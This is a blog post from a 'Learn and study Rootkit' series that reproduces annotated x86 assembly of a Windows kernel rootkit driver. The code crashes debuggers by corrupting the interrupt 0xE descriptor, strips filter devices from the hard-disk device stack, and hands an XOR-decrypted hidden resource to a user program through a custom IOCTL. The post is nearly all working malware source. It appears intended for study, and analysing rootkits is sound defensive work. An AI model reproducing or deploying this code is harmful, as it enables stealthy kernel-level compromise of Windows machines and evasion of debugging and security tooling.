Thursday, October 6, 2011

Learn and study Rootkit Specials 4: kernel hook - object hook(3)

; ***************************************************************************
; Check up offset address upper byte of 9 mark interrupt descriptor and E mark ;interrupt descriptor, if offset address upper byte of 9 mark interrupt ;descriptor is zero to exit, if isn't zero to judge offset address upper byte of ;E mark interrupt descriptor compare with offset address upper byte of 9 mark ;interrupt descriptor, if both equal to exit, If not offset address 16bit of ;offset address upper byte of E mark interrupt descriptor is set zero. Let it ;point error address. Destroy the interrupt function. Because many debugger ;articulate 0xE, The rootkit do this may to let the program create system BSOD ;when debug, That is anti debug trap by author.
;****************************************************************************

AntiDebug proc  near
  LOCAL nTemp:dword
  pusha
  sidt  fword ptr IDTData        
  mov  esi, dword ptr IDTData+2  ;Get base address
  mov  eax, 9                    ;index = 9, #interrupt 09
  shl  eax, 3                    ;each descriptor take up 8 bytes
  add  esi, eax                  ;esi point 9 mark descriptor           
  movzx  eax, word ptr [esi+6]     ;Take out upper 16 bit byte offset address interrupt function
  shl  eax, 10h
  mov  ax, [esi]                 ;Take low 16 bits offset address of interrupt function
  and  eax, 0FF000000h           ;Take a upper byte of offset address
  mov  nTemp, eax
  test  eax, eax
  jz  QUIT
  mov  esi, dword ptr IDTData+2 ;Take base address
  mov  eax, 0Eh                 ;index = E, #interrupt 0E
  shl  eax, 3                   ;Each descriptor take 8 bytes
  add  esi, eax                 ;esi piont E mark descriptor  
  movzx  eax, word ptr [esi+6]    ;Take upper 16 bit byte offset address interrupt function
  shl  eax, 10h
  mov  ax, [esi]                ;Take a upper byte of offset address
  and  eax, 0FF000000h          ;Take a upper byte of offset address
  cmp  eax, nTemp               ;Compare upper byte offset address of two interrupt descriptor
  jz  QUIT
  mov  word ptr [esi+6], 0   ;Modify offset address of interrupt gates, upper 16 bit is set zero
 
QUIT:
  popa
  retn
AntiDebug endp


;************************************************************************************
;  Dispose IRP_MJ_DEVICE_CONTROL,IRP_MJ_CREATE,IRP_MJ_CLOSE to request
;  IRP_MJ_CREATE routine take charge get disc device object and check the device stack whether load other device, IF have to save the device and unload it.
;  Call IoGetDeviceObjectPointer to get device object that be device named-"\\Device\\Harddisk0\\DR0" .
;  IRP_MJ_CLOSE recover DR0 to attach
;  IRP_MJ_DEVICE_CONTROL中对0xF0003C04 mark respond, First in line with a constant Key to be create decrypt array, Then
;  user imported code operate with decrypt array, finaly create a secret key, last use the secret key find front sys resource,
;  After decrypt to take content return user program.
;************************************************************************************
DispatchFunction proc device:dword,pIrp:dword

  LOCAL ObjectName:UNICODE_STRING
  LOCAL DestinationString:OEM_STRING
  LOCAL FileObject:dword
  LOCAL DeviceObject:dword
 
  push  edi
  push  esi
  push  ebx
  mov  edi, pIrp
  mov  dword ptr [edi+1Ch], 0 ;zero setIoStatus on IRP, see ntddk.inc
  mov  dword ptr [edi+18h], 0
 
  mov  esi, [edi+60h] ;Take IRP.CurrentStackLocation
  movzx  eax, byte ptr [esi];IO_STACK_LOCATION.MajorFunction
  or  eax, eax
  jnz  IRPMJCLOSE
  jmp  short $+2          ;junk instruction
 
  ;IRP_MJ_CREATE request, Will break \Device\Harddisk0\DR0 attach device on IRP_MJ_CREATE上附加的设备.
  push  offset SourceString ; "\\Device\\Harddisk0\\DR0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, ObjectName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  xor  eax, eax
  mov  FileObject, eax
  mov  DeviceObject, eax
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  lea  eax, FileObject
  push  eax    ; FileObject
  push  80h    ; DesiredAccess
  lea  eax, ObjectName
  push  eax    ; ObjectName
  call  IoGetDeviceObjectPointer
  mov  eax, FileObject
  jmp  short $+2 ;junk instruction
  mov  eax, [eax+4] ;FILE_OBJECT.DeviceObject 见ntddk.inc
  mov  g_DeviceObject, eax
  cmp  dword ptr [eax+10h], 0 ;DEVICE_OBJECT.AttachedDevice
  jz  ClearAttachedDevice
  jmp  short $+2 ;junk instruction
  mov  ecx, [eax+10h]
  xchg  ecx, g_AttachedDevice
  mov  [eax+10h], ecx
 
ClearAttachedDevice:
  push  FileObject
  call  ObDereferenceObject
  lea  eax, ObjectName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  jmp  Quit
 
IRPMJCLOSE:
  cmp  eax, 2
  jnz  IRPMJDEVICECONTROL
  mov  eax, g_DeviceObject
  or  eax, eax
  jz  Quit
  mov  ecx, g_AttachedDevice
  or  ecx, ecx
  jz  NoAttachedDevice
  mov  [eax+10h], ecx
 
NoAttachedDevice:
  jmp  Quit
 
IRPMJDEVICECONTROL:
  cmp  eax, 0Eh
  jnz  Quit
  mov  eax, [esi+0Ch];  IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode
  cmp  eax, 0F0003C04h ;Judge whether is client pass into ctlcode
  jnz  Quit
  call  CreateDecodeKey
  mov  ebx, [edi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
  mov  ecx, [esi+8]   ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
  call  DecodeInputData
  mov  DecodeKEY, eax
  push  DecodeKEY
  push  offset Format  ; "%08X"
  call  DbgPrint
  add  esp, 8
  mov  eax, [esi+4] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength
  cmp  eax, NumberOfBytes
  jbe  Quit
 
  mov  edi, [edi+3Ch];IRP.UserBuffer
  mov  esi, P
  mov  ecx, NumberOfBytes
  shr  ecx, 2
 
DecodeResource:  ;Export resource content, feed back to user
  lodsd
  xor  eax, DecodeKEY
  stosd
  dec  ecx
  jnz  DecodeResource
  mov  ecx, NumberOfBytes
  and  ecx, 3
  rep movsb
 
Quit:
  push  0
  push  pIrp
  call  IoCompleteRequest
  mov  eax, 0
  pop  ebx
  pop  esi
  pop  edi
  retn
DispatchFunction endp


;******************************************************************
; UnLoad routine
;******************************************************************
PCIHDDUnload proc pDriverObject :dword

  LOCAL DestinationString:OEM_STRING
  LOCAL SymbolicLinkName:UNICODE_STRING
 
  push  edi
  push  esi
  push  ebx
  pusha
  cmp  P, 0
  jz  CONTINUE
  push  P    ; P
  call  ExFreePool ;Free memory
 
CONTINUE:
  cmp  pDriverObject, 0 
  jz  QUIT
  push  offset aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoDeleteSymbolicLink
  lea  eax, SymbolicLinkName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  mov  edi, pDriverObject
  mov  esi, [edi+4]   ;DeviceObject
  jmp  IsDeviceExist
 
DELETEDEVICE:
  mov  edi, [esi+0Ch];DriverObject
  push  esi    ; DeviceObject
  call  IoDeleteDevice
  mov  esi, edi
 
IsDeviceExist:
  or  esi, esi
  jnz  DELETEDEVICE
 
QUIT:
  popa
  pop  ebx
  pop  esi
  pop  edi
  retn
PCIHDDUnload endp



; **********************************************************************
; Here is entry of driver program; **********************************************************************
public start
start proc near

  LOCAL nTemp:dword
  LOCAL DestinationString:OEM_STRING
  LOCAL DeviceObject:dword
  LOCAL SymbolicLinkName:UNICODE_STRING
  LOCAL DeviceName:UNICODE_STRING
  LOCAL DriverObject:dword
 
  push  edi
  push  esi
  push  ebx
  pusha
  nop
  nop
  call  AntiDebug ;anti debug
  call  GetPeHeader
  or  eax, eax
  jz  QUIT ;Can't find current driver memory load place
  mov  ecx, eax
  lea  eax, nTemp
  push  eax
  push  3E8h
  push  3E8h
  push  ecx
  call  SearchResourceByIDInFirstLayer
  or  eax, eax
  jz  QUIT
  mov  NumberOfBytes, eax
  push  NumberOfBytes  ; NumberOfBytes
  push  0    ; PoolType
  call  ExAllocatePool ;in line with resource length apply for memory.
  mov  P, eax
  jmp  short $+2 ;Junk instruction
  mov  edi, P
  mov  esi, nTemp
  mov  ecx, NumberOfBytes
  rep movsb   ;Copy resource to buffer
  jmp   ContinueWork
 
QUIT:
  popa
  xor  eax, eax
  dec  eax
  pop  ebx
  pop  esi
  pop  edi
  retn
 
ContinueWork:
  jmp  short $+2 ;Judge instruction
  mov  eax, DriverObject
  mov  dword ptr [eax+34h], offset PCIHDDUnload ;DriverObject.DriverUnLoad = PCIHDDUnload
  lea  edi, [eax+38h]    ;edi指向MajorFunction
  lea  eax, DispatchFunction
  mov  [edi], eax     ;IRP_MJ_CREATE          EQU    0
  mov  [edi+8], eax   ;IRP_MJ_CLOSE          equ   2
  mov  [edi+38h], eax ;IRP_MJ_DEVICE_CONTROL  equ   0Eh  见ntddk.inc
 
  push  offset aDevicePhysical ; "\\Device\\PhysicalHardDisk0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, DeviceName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  push  offset aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  push  0    ; Exclusive
  push  0    ; DeviceCharacteristics
  push  15h    ; DeviceType
  lea  eax, DeviceName
  push  eax    ; DeviceName
  push  0    ; DeviceExtensionSize
  push  DriverObject; DriverObject
  call  IoCreateDevice ;Create device
  or  eax, eax
  jz  CreateDeviceSucess
  jmp   Quit
 
CreateDeviceSucess:
  lea  eax, DeviceName
  push  eax    ; DeviceName
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoCreateSymbolicLink ;Create symbol link
  or  eax, eax
  jz  Quit
  mov  edi, DriverObject
  mov  esi, [edi+4]      ;DRIVER_OBJECT.DeviceObject
  jmp  StartCycle
 
ContinueDeleteDevice:
  mov  edi, [esi+0Ch]   ;DEVICE_OBJECT.DriverObject
  push  esi         ; DeviceObject
  call  IoDeleteDevice
  mov  esi, edi
 
StartCycle:
  or  esi, esi
  jnz  ContinueDeleteDevice
  jmp  short $+2 ;Junk instruction, Execute exit command
 
Quit:
  lea  eax, DeviceName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  lea  eax, SymbolicLinkName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  popa
  xor  eax, eax
  pop  ebx
  pop  esi
  pop  edi
  retn
start endp

end start

No comments:

Post a Comment